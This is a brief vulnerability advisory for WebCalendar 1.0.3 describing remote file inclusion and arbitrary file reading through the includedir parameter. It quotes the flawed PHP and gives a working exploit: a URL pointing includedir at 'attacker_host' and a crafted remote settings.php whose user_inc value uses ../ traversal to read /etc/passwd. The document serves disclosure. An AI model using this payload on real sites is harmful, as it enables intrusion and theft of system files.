Version: WebCalendar-1.0.3 Type: Reading of any files Description: ----------------------------- includes/config.php: line 64 if ( ! empty ( $includedir ) ) $fd = @fopen ( "$includedir/settings.php", "rb", true ); ...... while ( ! feof ( $fd ) ) { $data .= fgets ( $fd, 4096 ); } $configLines = explode ( "n", $data ); for ( $n = 0; $n < count ( $configLines ); $n++ ) { ...... $settings[$matches[1]] = $matches[2]; ...... $user_inc = $settings['user_inc']; ...... includes/init.php include_once "includes/$user_inc"; Example: --------------------------------------- index.php?includedir=http://attacker_host where in attacker_host exists file settings.php , which content " <?php echo '<?php # updated via install/index.php on Wed, 24 May 2006 09:29:55 +0300 Unimportant variables can be taken from original settings.php user_inc: ../../../../../../../../../../../../../../../../etc/passwd # end settings.php ?>'; ?> " Requirements register_globals = On;